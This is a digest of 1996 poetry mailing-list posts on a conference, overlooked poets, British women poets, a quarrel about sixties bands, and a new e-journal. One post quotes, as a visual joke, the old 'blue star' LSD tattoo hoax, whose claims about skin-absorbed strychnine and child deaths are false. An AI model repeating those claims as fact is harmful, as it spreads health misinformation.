RE: your comments on Enslinn, I'd like to throw out a question to the list. Enslinn, along w/ Armand Schwerner & Nathaniel tarn were all considerered to be major figuires in the New Amercican Poetry, the subject of Special Magazine Numbers, etc., etc. 25 years later, none of them are represented in amy of the major NAP revison anthologies, in Silliman's words, "disappeared poets" -- I'm not up on Tarn & Enslinn, but I know Schwerner's recent work & it is still strong & interesting. What is the change. Has there been a paradigm shift in taste, reading???

Puzzled in Hoboken, Joel Lewis

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425. maria damon
oh no orono
Fri 28 Jun 1996

yes it's all true, the conference was fantabulous. someone mentioned the preponderance of males; yes the testosterroneous level was tres gratifying, i got more male attention than i have in a while, and some of the other chicks felt the same way (alicia tickled that the alter cockers thought she was "really on to something" with her ginsberg stuff). had fun processing "the barry thing" with many, including the watt himself, on a long bus ride in the mist, the cruel wind and the rain. jumped up and down on top of mt cadillac thinking of bruce springsteen. learish, very. loved hanging out w/ aldon, bob p, barry, michael davidson, was thrilled by lorenzo thomas's talk and embarrassed by the paucity of a presence of folks of color (yes i nailed burton on the way out and stressed the crowded room's collective enthusiasm for a reprint of tolson, thanks for the hot tip aldon), was blown away by the whaples/friedlander/evans o'hara panel. must admit when i saw the author-based program my heart sank, but after that, getting to the conference, was a steady climb to apotheosis; what a way to cap off a sabbatical. Also grooved on hanging with armand schwerner, seeing marky mark nowak again (he and hs wife carolyn are the best thing about the twin cities), snapping pix of lossy loss and his double lobsters, camping for barry's camera happy as a clothed clam, seeing rachel bdp again, and alicia, grooved totally on the jewish american panel, twas funfunfun and full of yakking folks tho i take exception to the separation of aesthetics from cultural

studies that emerged...enjoyed meeting those panelists too, maeera and steve fredman and eric salinger...got a lot of needlepointing done. enjoyed also the groovicious company of ronna johnson my roommate, kerouac scholar and womens studies heavy, lily phillips, kathy crown, charlie "squeaky" altieri, ADORED joan retallack's reading and her paper on mac low, asking the pedagogically useful q "what do we do with an indeterminate text?" so basic, but so reassuring to students (and me) that it is, after all, a legitimate question. am profoundly gratified by marjorie perloff's apparent leftening up --stanford's influence? that pernicious "cultural studies" ambience insidiously making her smarter and smarter and even smarter? twas trippish meeting kevin and dodie, my e-comrades, and david kellogg, my cult-stud ally on this here list. good to see walterkalaidjian, i'm glad he's finally out of st cloud and at a real place, tho we didn't get to talk in any depth about his work on trauma theory and the armenian genocide. always good to see bob von hallberg who despite his self-inflicted role as the voice of the liberal conscience is an extremely good guy, in my experience. The coffee was EXECRABLE, burt, tho everything else was pretty swell to fab. Real whipped cream in the salad/dessert bar, can't beat that. and good, rich, fruit shortcake desserts. lobster was great, even got as much green stuff as i wanted/could handle. showed victoria rosenthal how to eat a lobster, thus i hope redeeming myself in ml's eyes (i had inadvertently insulted him within his hearing at an earlier mla and was mortified). as i drove back down to boston, the rothenbergs (diane at the wheel) passed me doing at least 80 mph on rte 95 in their spiffy little white rented mustang. loved jerry's "toiteen liddle ol' ladies" routine. and had never heard dante read aloud in translation--only knew of the prose translations, sinclair and singleton --thank you armand, paolo and francesca and then brunetto latini, all those old favorites from the days when i was smart... by the end of the conference, even the poundians from my department were talking to me --no mean feat to create an atmosphere of such conviviality that that could happen. what else...lyn keller and i shared a delicious "sole marency" or something weird-sounding like that in bar harbor, everyone else ate lobster except aldon who ate rum and coke, enjoyed seeing my old grad school jack-spicer-robert- duncan-special-collections-at-berkeley researching friend joe conte, and confessing to him after all these years that as a chick i'd felt excluded from the poetry clique...like the guys felt it would be indecorous to include me or something...but we shared greenstuff and redstuff at the banquet, or at least said we were going to, which is just as good. chaired a good session on duncan, yum yum. let's see what else...oh yeah, as i told barry, i don't think people objected to his talk because he showed girlie pix, but because there was a way that the mastery, complexity and "rigor" (a word he used repeatedly) --which is what made it a compelling talk --also seemed to hold at arms' length and function as a disclaimer for the more charged elements of his talk --the autobiographical cynicism, the mention of

sexual trauma, the insistence on "agency" (tho i don't think he actually used that clumsy word) --all seemed to add up to something that was a brilliant performance but troubled in a way that put the burden of "troubledness" on the audience, so that he was the cool, in-control white male authority and those of us who felt troubled or questioned the performance were hysterics. (not that this is what he said or even implied, it was more of a dynamic that threatened to duplicate much power stuff that cleearly and rightly troubled everyone including bw --kinda like lacan?). so, i admired the performance and got much frm it but also felt it was incomplete, not in the sense that an unmediated confession would make it complete, but somehow --constituting his belief in betty page's power as itsself (the belief, not the power) an object of inquiry might have made the presentation more even, richer, more balanced...?... anyway...it was a charged event, and one that was useful to process in the ensuing daze. in the bus someone (barry? michael?) said there shd have been some attention to song lyrics, and that we shd make a point of this at the next conference (presumably on the 60s). george lipsitz wd be fun to hear on that subject. all in all, it was dreamy, esp the whipped cream. sorry if i've left someone out... so here i am back in mpls, it's 102 degrees out, why'd i come back? oh well, it's kinda a nice laid back city, you can wear any old thing and people accept it...esp in this heat... love to all adored camaradoes and camaradas...md

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426. Chris Stroffolino

Re: Beatle Bones and Smokin' Stones

Sat 29 Jun 1996

I've heard that one---the 60's started in 11-22-63 when kennedy died and "i wanna hold your hand" was released in u.k. and the fifties didn't start until 1955. but the difference between the fourties and the fifties is minor in comparison unless the fourties started BEFORE and/or at PEARL HARBOUR rather than when the boys came home and tvs. etc. pushed women back into domesticity becoming suburban and the car began ruining things.....

and the 70's--b--1974. d 1979 (when jimmy carter decided to part his hair to the right rather than left?) or perhaps died when phil ochs did--i.e. when carter got elected ("oatmeal man" gil scott heron) but what were the 70s? the 80s were clearly the 80s all throughout and they spilled over into 1992--and thne there was that brief euphoria on the pumice of morons when GUITARS started dominating rock and roll again and visions of canadian style health car plans danced in the amerikan head.....brief, briefheart, cap n crunch.... ---------- c

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427. Chris Stroffolino
Re: oh no orono
Sat 29 Jun 1996

yes, maria, song lyrics would be fun.....

_____

okay, this is probably going to be my last posting on the
poetics list for awhile (unless INSOMNIA tonight turns me to
the comfort of the electron screen and the "immediate gratification"
a prose fiction writer accused "us" poets of recently that this
forum allows....
thank you all for a 20 month "virtual" community
(virtual vitriol?)
and if anyone wants to stay in touch i will be at:
464 Monmouth St. #6, Jersey City, NJ. 07302....
[redacted]....
haven't figured out if it spells anything yet.....
love to all, chris s.

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428. Daniel Salmon
Re: british women poets
Sat 29 Jun 1996

Michelle Leggott, Roma Potiki
New Zealand

At 01:57 PM 28/06/96 -0400, you wrote:
>A friend of mine is looking for suggestions of British or Commonwealth
>women poets of the 20thC to teach in an upcoming course, and i was rather
>embarassed at how few names i cld summon off the top o' the noggin. Any
>suggestions, for my own edification, and my friend's?
>
>thanks, steve
>
>
Daniel Salmon

↑ Index

429. **Ward Tietz**
Re: Armand Schwerner
Sat 29 Jun 1996

On Friday, June 28, Joel Lewis wrote,

"Thanks for interesting report on Orono.

RE: your comments on Enslinn, I'd like to throw out a question to the list. Enslinn, along w/ Armand Schwerner & Nathaniel tarn were all considerered to be major figuires in the New Amercican Poetry, the subject of Special Magazine Numbers, etc., etc. 25 years later, none of them are represented in amy of the major NAP revison anthologies, in Silliman's words, "disappeared poets" -- I'm not up on Tarn & Enslinn, but I know Schwerner's recent work & it is still strong & interesting. What is the change. Has there been a paradigm shift in taste, reading???

Puzzled in Hoboken, Joel Lewis".

I only became familiar with Armand Schwerner's work a few years ago, so I can't say much about his reception of 10 or 20 years ago, but I think one of the things that probably contributes to his having been "disappeared," is that his more recent work, at least initially, is just plain confusing. If you stay with it this confusion becomes a richness, but my guess is that a lot of people don't get that far.

Even when you realize that you are reading within a tradition of academic/literary satire there are still quite a lot of elements that cannot be gathered under that rubric. You begin to wonder after a while why such a categorization was necessary in the first place, and I think that by itself, can lead to a feeling of uneasiness.

The iconic material in the work is also difficult to place. The staging of it, which relies on an unusual mix of satire, erudition and inventiveness, confounds classification as "visual poetry," or "visual fiction." I think these categories are becoming less and less useful anyway, but again placement within a tradition becomes somewhat difficult.

Still I think Schwerner later work is not that anomalous. I think there are considerable parallels to be drawn with Paul Zelevansky's work, say, and others who are combining somewhat disparate material.

Ward Tietz

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430. Carnography
Re: Beatle Bones and Smokin' Stones
Sat 29 Jun 1996

At 11:29 AM 6/28/96, Steve Carll is rumored to have typed:

> *At 01:20 AM 6/28/96 -0400, Rob Hardin wrote:*
>
> *1. Mainstream sixties bands aren't worth this much commentary, esp not on a prosody list.*
>
> *Then he wrote:*
>
> *I don't like to insult musicians and I don't like it when musicians are insulted.*
>
> *Wouldn't it be kind of insulting to a band (of musicians, presumably) to dismiss them as not worthy of commentary?*

Apparently, you haven't been following this thread. The two bands whose musicianship I defended were the Beatles and the Stones. Since I opined that they were not worth discussing on a prosody list even as I *defended* them, you would do well to notice the context of the word *worth* before presuming insult.

In the context of this discussion, my "not worth this much commentary, esp. on a prosody list" is vastly different from your "not *worthy* of comment."

Also: by saying they were not worth discussing, I was politely suggesting that I was not interested in being dragged into further discussions about the Beatles and the Stones. (Someday, perhaps, my request will be honored.)

As to the context of "not worth this much commentary": The overexposed are less worth commenting on than the underpromoted precisely *because* we have been sufficiently buried in commentary. Every moment spent talking about the overexposed is a moment spent ignoring the underpromoted (those who are most in need of discussion and support).

This is a list devoted to discussing poetry, and poets are the least exposed artists of all. And yes, sixties pop music can be relevant, but Jesus Christ--you can discuss the Beatles with anyone anywhere.

> *Not to mention reducing the Beatles and the Stones to the status of "mainstream sixties bands"*

No one's "reducing" anyone's talent or influence. The Beatles and Stones are mainstream sixties bands in the sense that 22 Brides, whom I've recorded with, are an obscure nineties band, and PIL, whom I've played with, was a conspicuous underground eighties band that crossed over. The era in which a band

breaks, the generation to which a band belongs, is what defines it chronologically. Its popularity (or lack of it) is what secures its niche.

> *when both*
> *have obvious importance outside those rather tiny confines.*

Keats, whom you quote, has an importance beyond his status as a Lake Poet and a poet of the Romantic period. Would you say that history is incorrect in calling him a poet of the Romantic Period? If so, then how does his importance contradict the "tiny confines" of history?

> *I left the*
> *sixties when I was three and discovered the Beatles in 1978....Their music*
> *has been a big influence on my person and my writing...and I'm sure that's*
> *true for some other people on this list, which probably explains why the*
> *topic came up at all.*

Actually, the topic came up because people who span two generations were talking about it. I was born in the sixties; another gentleman who was posting mentioned having played in bands for three decades, if I'm not mistaken. If you really feel that your generation (ie, mine, since we were both born in the sixties) and the people on this list are the last source of fresh insights on a well-explored subject, then it would seem that boomers aren't the only generation that is guilty of self-importance.

> *Does anyone call Miles Davis a "fifties jazz musician"?*

Miles was recording with Parker before the fifties. However, the Miles Davis Quintet was a fifties ensemble (even though their recordings stretched into the sixties).

> *When the band started?*

No, when the band made their first important mark via recordings and public performance, and what generation the band members actually belonged to.

The Beatles were certainly a part of the sixties generation. To conclude that they were incapable of musical development beyond the peak point of their generation--let alone that their musical influence is insignificant--is your own supposition and does not follow logically from anything that I've said.

Furthermore, I would argue that we should talk about other artists precisely because the influence of mainstream sixties bands is so pervasive. Oasis, probably the least interesting band of the nineties, is an example of what comes from obsessing over the Beatles for perhaps the billionth time. There comes a time when dominating presences, however good, become dead ends: at this point, it's safe to say that Elvis has left the building.

All the best,

Rob Hardin

PS: To everyone who asked, "Is this a prosody list?" I'd have to answer, for me, it is. That's how it was introduced to me by Charles Bernstein when I first met him: we spoke about prosody and musical notation (a subject I'm far more interested in discussing than sixties bands). He then said that I might be interested in this list.

http://www.interport.net/~scrypt

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431. William Slaughter
Announcing Mudlark
Sat 29 Jun 1996

ANNOUNCING MUDLARK

I have been a silent partner to the POETICS discussion for more than a year now. My reason for breaking that silence is MUDLARK.

MUDLARK is an electronic journal of poetry & poetics that I edit and publish. It is available (free) on the World Wide Web at http://www.unf.edu/mudlark and by e-mail from [redacted]. It can also be found in the E-Text Archive at the University of Michigan and is linked to the Electronic Poetry Center at SUNY-Buffalo.

MUDLARK No. 3, just out, is a 48-49 poem sequence called ARS POETICA by Gerald Fleming whose work has appeared, for example, in THE AMERICAS REVIEW, FIVE FINGERS REVIEW, INDIANA REVIEW, MICHIGAN QUARTERLY REVIEW, NEW LETTERS, PEQUOD and PUERTO DEL SOL. Fleming edits BARNABE MOUNTAIN REVIEW. He lives in Lagunitas, California.

MUDLARK, its readers tell me, is worth the time it takes. I'm hoping that you will have a look at it. More than that, I'm hoping that you will read it.

MUDLARK NO. 4 will issue itself in early fall 1996. "A Conversation with Martin Heidegger," a long poem by Van K. Brock in English and a translation of it by Josef Pesch into German will constitute the whole of it. Van Brock is a Professor of English at Florida State University, editor of INTERNATIONAL QUARTERLY, and author, most recently, of UNSPEAKABLE STRANGERS (Anhinga 1995), a collection of poems related to the Holocaust. Josef Pesch teaches at Heidegger's own University of Freiburg.

MUDLARK NO. 5 will be made up of poems and essays from many different hands...and is still open. I quote, and why not, myself:

As our full name, MUDLARK: AN ELECTRONIC JOURNAL OF POETRY & POETICS, suggests, we will consider accomplished work that locates itself

anywhere on the spectrum of contemporary practice. We want poems, of course, but we want essays, too, that make us read poems (and write them?) differently somehow. Although we are not innocent, we do imagine ourselves capable of surprise. We read and answer our mail.

In Mudlark poetry is free. Our authors give us their work and we, in turn, give it to our readers. What is the coin of poetry's realm? Poetry is a gift economy. One of the things we can do at Mudlark to "pay" our authors for their work is point to it here and there, wherever else it is. We can tell our readers how to find it, how to subscribe to it, and how to buy it...if it is for sale. Toward that end, we will maintain A-NOTES (on the Authors) we publish. We will call attention to their work. _____

MUDLARK No. 2 (1996)

THE RAPE POEMS by Frances Driscoll

Frances Driscoll's poems have been in MASSACHUSETTS REVIEW, NEGATIVE CAPABILITY, PLOUGHSHARES, and WILLOW SPRINGS, among other places. Gillian Conoley published "Island of the Raped Women" in VOLT and nominated it for a Pushcart Prize. It won and Bill Henderson included it in PUSHCART PRIZE ANTHOLOGY XIX (1995). "Wild Ribbons" originally appeared in VOLT, too, and "Difficult Word" in 13th MOON. Black River Press did a chapbook of Driscoll's poems, TALK TO ME, in 1987. She has an M.F.A. from the University of Massachusetts, Amherst. In a poem called "Subsidies," Driscoll writes: "Sometimes return is all anyone wants."

MUDLARK No. 1 (1995)

TWELVE OF ONE by Valerie Anthony
and A DOZEN OF THE OTHER by David Swoyer

Valerie Anthony is a playwright as well as a poet. She received an Individual Artist's Grant for playwriting from the Florida Arts Council, 1994. Her play, LAND OF THE DOUBLEWIDES, was produced at the Florida Studio Theatre in Sarasota, 1995. She is presently a University Fellow in the English Department at Florida State University. Anthony writes fiction too. From "Lash," one of her stories: "There is only her breath and mine now, hanging in the air. Saying things." The TWELVE Anthony poems, hanging in the air in MUDLARK No. 1, have that same doubled breathing in them. "Saying things." ("Lash" is in the current, No. 57, issue of EXQUISITE CORPSE.)

David Swoyer is a painter as well as a poet. His paintings hang in both private and museum collections. For twenty-five years he has been a museum curator and presently works in that capacity at the Museum of Arts and Sciences (MOAS) in Daytona Beach, Florida. Swoyer is a Viet Nam veteran, "whose disability has not made him independently wealthy but has given him a higher

regard for excursions to Canada." From "A Glitch in the Parable," a poem Swoyer has not abandoned: "The time that remains depends / on the distance left to fall." The DOZEN poems Swoyer has abandoned in MUDLARK No. 1 have their language lives in that remaining time.

William Slaughter, MUDLARK

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432. Rod Smith
Re: british women poets
Sat 29 Jun 1996

Maggie O'Sullivan!!!

There's _Floating Capital: New Poets from London_ ed. Clarke & Sheppard, Potes & Poets, '91. Terrific book includes fewer women than other people, however Virginia Firnberg, Val Pancucci, & Hazel Smith, as well as O'Sullivan are there.

There's also a more recent anthology of British & American women sperimentalists twas announced on the list a bit ago-- Fiona Templeton had a copy at the Big Allis benefit, very snappy-- can't remember the pub. was it Stride? Anyway, SPD & possibly other distributors are still waiting for it, once it's here, we'll all be happy.

Rod

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433. John E. Matthias
British Women Poets
Sat 29 Jun 1996

Steven Shoemaker:

You ask about British women poets. There's a lot of good work now where there used to be very little. When I edited _23 Modern British Poets_ in the early 1970s it was not possible to include any women at all. That seems amazing. Anyway, in practical terms, if this is to be a course taught at an American university, availability of texts becomes something of an issue. For mainstream poets, you might look at Linda France's _Sixty Women Poets_ published by Bloodaxe. Bloodaxe also published Jeni Couzyn's _the Bloodaxe Book of Contemporary Women Poets_, Carol Rumens's _New Women Poets_, and some other anthologies, but the France book would be the most useful at this point. It is available in this country from Dufour as are most other Bloodaxe titles (and

many other volumes from British and Irish publishers: everyone should have a copy of their catalogue). The France anthology, which includes Irish poets, begins with poems published after 1971, the year Stevie Smith died. It ranges from very well known poets like Eavan Boland to poets born in the late 1950s and early 60s who are not known here at all. Some of the poets you (or your friend) might want to consider are: Sujata Bhatt, Eilean Ni Chuilleanain, Carol Ann Duffy, Lavinia Greenlaw, Selima Hill, Kathleen Jamie, Liz Lochhead, Mebdh Mcguckian, Ruth Padel, Nuala Ni Dhomhnaill, and Pauline Stainer. A few of these poets also appear in Neil Astley's _Poetry With an Edge_ and the anthology edited by Michael Hulse, David Kennedy and David Morley called _The New Poetry_. I have written a longish review of these and related books in my column on recent British poetry in _Another Chicago Magazine_ (No. 29, Spring 1995).

The problem with these Bloodaxe books, however, is that they pretty much exclude experimental or linguistically innovative poetry by British and Irish women. The recent anthology from Reality Street Editions (and Ken Edwards should probably say a word at this point), _Out of Everywhere_, includes work by Maggie O'Sullivan, Wendy Mulford, and Denise Riley, but there are also a good number of Americans. A recent issue of _West Coast Review_ (No 17, Fall 1995),edited by Peter Quartermain, contains some of the same poets represented by different poems. And I believe there will be new women poets in a special issue of _Talisman_ being edited by Ric Caddel. The Brits on the list will have, I'm sure, other recommendations. But maybe this is a start. Single volumes by British and Irish women that I've been reading or re-reading recently include Magie Hannan's _Liar,Jones_ (Bloodaxe), Denise Riley's _Mop Mop Georgette_ (Reality Street), Nuala Ni Dhomhnaill's _The Astrakhan Cloak_ (with translations from the Irish by Paul Muldoon) (Gallery Books), Pauline Stainer's, _The Ice-Pilot Speaks_ (Bloodaxe),and Sujata Bhatt's, _Monkey Shadows_ (Carcanet). Anyway, there's a lot of activity & there's not much attention being paid to it all over here. Romana Huk's conference/festival at the University of New Hampshire should help things out. Are there any British or Irish women poets on this list? If so, we don't hear from them. The Dufour catalogue, by the way, is available from Dufour Editions, P.O. box 7, Chester Springs, PA 19425.

John Matthias

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434. Keith Tuma
Re: British Women Poets
Sat 29 Jun 1996

To the lists of British women poets offered by Charles, Rod, Maria, John, and others, I'd add Geraldine Monk and Elaine Randell--two of the best, I think.

Don't know how far back you all want to go--does anyone still read (as Duncan did) Kathleen Raine? Mina Loy counts as British in some books.

Don't know too how the Irish poets (e.g., Catherine Walsh) feel about being located next to the British poets in courses and anthologies. Perhaps Peter Quartermain or Ric Caddel would know this.

Keith Tuma

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435. Keith Tuma
Re: oh no orono
Sat 29 Jun 1996

Well everybody's cheering about the Orono conference, and for good reason--lots of excellent papers, seeing old friends, making new ones, attaching faces to pixels, etc. etc. No one's mentioned Jerky the Moose yet, which many laughed at and then proceeded to excoriate in conversation afterwards--"It's Saturday Night Live" a poet-theorist said to me. But Dorn had already proleptically remarked at dinner the night before--"It's about time somebody killed modern poetry"--or some such, I can't remember exactly, and who knows if he was serious.

My favorite moment was Henry Weinfield's remarking after the panel on the New American Poetry anthology that well, really, Frank O'Hara had only three or four poems worth remembering. It's not that I agree, but by that point in the conference it was clear to me that part of what we were about was cheerleading in the woods. Remarkable how much consensus--in poetic and political values, in emergent canons--was in place at the conference. Whole realms of 50s poetic production were written off as a joke--condescension that is, finally, self-defeating. These are generalizations of course;there were exceptions; Bob von Hallberg is one (he's not here on the list to respond to ex cathedra pronouncements). Curious, too, how little the American poetry of the 1950s was set in international contexts, at least in the papers I attended. Jerry Rothenberg's plenary talk was an exception here. We are that provincial? (I know, it was a conference on American poetry, but boosterism is boosterism.) Maria D. has already remarked on the limits of the predominant author-focus.

I guess the best parties are populated mainly by friends--perhaps that explains some of the misty ethos. Nevertheless, it was entertaining too to hear Barry

and Marjorie rehearsing political squabbles they've had before (I think) at the cash bar after Dorn's reading. And no doubt productive disagreements were and are ongoing. Would that they were more often out in the open, or not impossible because the NPF tends to attract people like you and me, who mostly agree as we take Olson down a notch or two and elevate Frank O'Hara a little.

Don't get me wrong--I liked many of the papers too (I won't discuss them here) and learned a lot. And it was a blast not only to see old friends but to get to experience for the first time the dignity of Kevin K. and Dodie B., the unassuming earnestness of Paul Naylor, the laughter of you and you and you.

It's boiling here today too--this is my cold dip in the pool.

Keith Tuma

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436. **Herb Levy**
Re: Amazon.com
Sat 29 Jun 1996

Rae Armantrout writes:

> *I just made the interesting (to me) discovery that this huge online bookstore at http://amazon.com actually has small press poetry books! But maybe you already knew that.*

While it is amazing to search the Amazon catalog & find listings for many in print & some forthcoming books that you've never seen on the shelves of a general book store, they only have the biggest best sellers in stock. They don't have a store, they've simply put a lot of catalogs online.

If you order something esoteric (not by Stephen King) from them they order it from the publisher or distributor & send it to you when they get it in, just like a "real" book store. But Amazon adds a few handling charges that I've never seen at a "real" store, though.

Maybe the convenience is worth it for folks in towns with hopeless book stores & maybe it'll get some business from people who've never heard of SPD, etc.

Herb Levy
[redacted]

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437. Gabrielle Welford
Re: British Women Poets
Sat 29 Jun 1996

Madge Herron is another. She appears (only place I've seen her) in a volume called _Love Poems By Women_ which is very precious to me. Gab.

I never did find out if she's still alive, by the way, if anyone has a way of discovering.

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438. Steve Carll
Extended Play
Sat 29 Jun 1996

At 09:23 AM 6/29/96 -0400, Rob Hardin wrote:
>At 11:29 AM 6/28/96, Steve Carll is rumored to have typed:
>
>> At 01:20 AM 6/28/96 -0400, Rob Hardin wrote:
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>> >1. Mainstream sixties bands aren't worth this much commentary, esp not
>> > on a prosody list.
>>
>> Then he wrote:
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>> > I don't like to insult musicians and I don't like it when
>> >musicians are insulted.
>>
>> Wouldn't it be kind of insulting to a band (of musicians, presumably) to
>> dismiss them as not worthy of commentary?
>
>Apparently, you haven't been following this thread.

That's a mistaken assumption on your part, not to mention unnecessarily insulting. You can make a point without being so arrogant, can't you?

> *The two bands*
> *whose musicianship I defended were the Beatles and the Stones. Since*
> *I opined that they were not worth discussing on a prosody list even*
> *as I *defended* them, you would do well to notice the context*
> *of the word *worth* before presuming insult.*

I'm fully aware of the context, and it still seems like an insult to me. It is possible to insult someone you're trying to defend, ya know.

> *In the context of this discussion, my "not worth this much commentary, esp. on a prosody list" is vastly different from your "not *worthy* of comment."*

I think "vastly" is a bit hyperbolic, Rob.

> *Also: by saying they were not worth discussing, I was politely suggesting that I was not interested in being dragged into further discussions about the Beatles and the Stones. (Someday, perhaps, my request will be honored.)*

This is e-mail. Nobody can drag you anywhere you don't want to go. You just have to keep your finger off that "Queue" key (or maybe you have one that says "Send." Whatever.)

> *As to the context of "not worth this much commentary":*
> *The overexposed are less worth commenting on than the underpromoted precisely *because* we have been sufficiently buried in commentary.*
> *Every moment spent talking about the overexposed is a moment spent ignoring the underpromoted (those who are most in need of discussion and support).*
>
> *This is a list devoted to discussing poetry, and poets are the least exposed artists of all. And yes, sixties pop music can be relevant, but Jesus Christ--you can discuss the Beatles with anyone anywhere.*

That's what I thought I was doing. Plenty of moments to go around, too.

> *Not to mention reducing the*
> *Beatles and the Stones to the status of "mainstream sixties bands"*
>
> *No one's "reducing" anyone's talent or influence. The Beatles and Stones are mainstream sixties bands in the sense that 22 Brides, whom I've recorded with, are an obscure nineties band, and PIL, whom I've played with, was a conspicuous underground eighties band that crossed over. The era in which a band breaks, the generation to which a band belongs, is what defines it chronologically. Its popularity (or lack of it) is what secures its niche.*
>
> *when both*
> *have obvious importance outside those rather tiny confines.*
>
> *Keats, whom you quote, has an importance beyond his status as a Lake Poet and a poet of the Romantic period. Would you say that history is incorrect in calling him a poet of the Romantic Period? If so, then how does his importance contradict the "tiny confines" of history?*

History is inadequate in calling Keats a poet of the Romantic era. A summation like that is a fine starting point for a further exploration of Keats' work, etc., but when a phrase like that gets used as if nothing more need be said about them, I would say it's reductive.

> *I left the*
> *sixties when I was three and discovered the Beatles in 1978....Their music has been a big influence on my person and my writing...and I'm sure that's true for some other people on this list, which probably explains why the topic came up at all.*
>
> *Actually, the topic came up because people who span two generations were talking about it. I was born in the sixties; another gentleman who was posting mentioned having played in bands for three decades, if I'm not mistaken. If you really feel that your generation (ie, mine, since we were both born in the sixties) and the people on this list are the last source of fresh insights on a well-explored subject, then it would seem that boomers aren't the only generation that is guilty of self-importance.*

As I said, I remember how the topic came up, and your version of it doesn't contradict mine. But I didn't say "our" generation was the "last source of fresh insights" on anything. We're all capable of fresh insights, even on so-called "well-explored" subjects, not because of what generation we belong to but because we're human beings and we have minds that keep turning things over. Some might characterize that last statement as indicating a sense of self-importance, but let's at least be accurate about its nature. But the reason I brought this point up is that the Beatles, and the psychedelic pop song form they helped create, informs the poetics of at least one person on this list (that I know of), thus validating their discussion in POETICS.

> *Does anyone call Miles Davis a "fifties jazz musician"?*
>
> *Miles was recording with Parker before the fifties. However, the Miles Davis Quintet was a fifties ensemble (even though their recordings stretched into the sixties).*

But here again, Miles recorded a lot of stuff post-Quintet. Many people who don't like the cool stuff but go wild for "Bitches Brew" might consider Miles a sixties jazz musician. I think both these factions miss the big picture.

> *When the band started?*
>
> *No, when the band made their first important mark via recordings and public performance, and what generation the band members actually belonged to.*

And who decides these things? Or is there some natural consensus that I've missed out on in my naivete? I might point out that according to these criteria, PiL would be a seventies band, not an eighties one, since Lydon and Levene were part of the English punk rock movement (roughly '76-'78), and PiL's first two albums (1978 and '79) would seem to have to be considered as important marks defining a "postpunk" approach. I think these criteria are a highly suspect and not ultimately very helpful shorthand.

> *The Beatles were certainly a part of the sixties generation. To conclude that they were incapable of musical development beyond the peak point of their generation--let alone that their musical influence is insignificant--is your own supposition and does not follow logically from anything that I've said.*

So when you told Henry Gould that mainstream sixties bands are only interesting in a cultural study of that era, it was way out of left field for me to conclude that you were asserting that they're uninteresting in any context other than a cultural study of that era?

> *Furthermore, I would argue that we should talk about other artists precisely because the influence of mainstream sixties bands is so pervasive. Oasis, probably the least interesting band of the nineties, is an example of what comes from obsessing over the Beatles for perhaps the billionth time. There comes a time when dominating presences, however good, become dead ends: at this point, it's safe to say that Elvis has left the building.*

I agree with you about dead ends, but you know what? I kind of like Oasis. Their first album was derivative and bland; but _(What's the Story) Morning Glory?_ shows a vast improvement in their ability to write pop songs with nerve and verve. You and I both know that there are hundreds of less interesting bands neither of us will ever hear of for precisely that reason, and even in the realm of stuff that gets some exposure, what about Alice in Chains, Toad the Wet Sprocket, and Counting Crows?

||||||

From: Christopher Filkins[SMTP:[redacted]]
Sent: Wednesday, June 26, 1996 2:47 AM
To: Multiple recipients of list POETICS
Subject: LSD lsd l s d led sleds

Looks much better justified.
> >
> > > I
> > > had
> > > heard
> > > from my
> > > co-worker
> > > about a big
> > > problem today.
> > > It seems my kid
> > > and your kid, all
> > > of our kids have to
> > > worry about evil drug
> > > dealers giving out fake
> > > tattoos with acid in them.
> > > This is not a joke or rumor.
> > > This is a serious threat that
> > > must not be taken lightly. They
> > > have a blue star on them, but not
> > > all - some have cartoons or such on
> > > them. You must be very careful with a
> > > blue star tattoo because the strychnine
> > > can be absorbed into your blood from just
> > > handling the paper. This horrible thing has
> > > a reason to it - the dealers want LSD addicts
> > > to buy more after they are hooked. Symptoms you
> > > should watch for are: hallucinations, mood swings,
> > > uncontrolled laughter, drop in body temperature,
> > > dizziness or disorientation, severely dilated
> > > pupils, and severe vomiting. Some time - up
> > > to an hour, can pass between contact with
> > > the drug and onset of symptoms. If your
> > > child has fell victim to this heinous
> > > crime, you must take him quickly to
> > > a hospital. Children hare already
> > > died from this, LSD overdose is

> > > easy. If you see a suspicious
> > > person giving tattoos, foil
> > > wrapped especially, phone
> > > your police immediately.
> > > This is a real danger
> > > and is growing much
> > > faster than I can
> > > spread warnings
> > > alone. Thanks
> > > for reading
> > > this that
> > > I wrote
> > > about
> > > LSD
> > > !

↑ Index

440. **Joe Amato**
Re: Extended Play
Sat 29 Jun 1996

hey steve, rob h., henry, you guyz: i don't know what in hell you're all talking about sometimes, musicologically undisabused as i am, but i just thought i'd stick my beak in here and observe that there's really no need for you guys to be at one another... it happens that i've enjoyed the facts you've been slinging at each other even while you've been slinging... why not just riff?... i mean, i enjoy what you've each brought to the conversation by way of insight...

and hey, i still like listening to foreigner for godsakes, so i'm not coming from anyplace particularly snooty...

'for what its worth'//

best,

joe

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441. **Louis Cabri**
the thing
Sat 29 Jun 1996

Following, obliquely, & in too general terms, on Peter Quartermain's post, it seems to me that the point of taking "radical" poetry to theory (thinking of it that way as C.B. has argued, rather than the other way around as seems the

obvious & usual) is to want to find continuously new ways of showing how and why poetry is political and inherently social (but why this must be constantly shown says a lot about one's 'location', too); in other words to keep that problem of the political open and alive (complex) as an issue of form, to show poetry as at once a fully "citational" & yet underdetermined matrix in relation to the political. This seems more of a challenge, & even more necessary, than to either assert repeatedly that poetry's radicality is in some way obviously political, or conversely to argue empirically that poetry's claims in each instance fail to become politically revolutionary, Actual, so (goes the implication) why bother thinking politically or revolutionarily. I wrote this on screen; these "linebreaks" are deletions & changes... Oh, for those who read Ernesto Laclau, I've just found this interesting article, haven't read it yet, but intriguing title - "Why do empty signifiers matter to politics?"

↑ Index

442. Ron Silliman
Zelevansky
Sun 30 Jun 1996

Ward,

I'm always interested in the idea of people joining disparate materials together, but I don't know the work of Paul Zelevansky. Can you get me the 100,000 foot overview?

In a similar vein, there's a poem by one Haki Pok at the beginning of the 3rd issue of Arras, just out (and a terrific mag, cover to cover), but no mention of him/her either among the contributor's notes or even on the list thereof on the back cover. Presuming that this is not a pseudonym for the editor, Brian Kim Stefans (Hockey Puck?), can somebody tell me more about this poet?

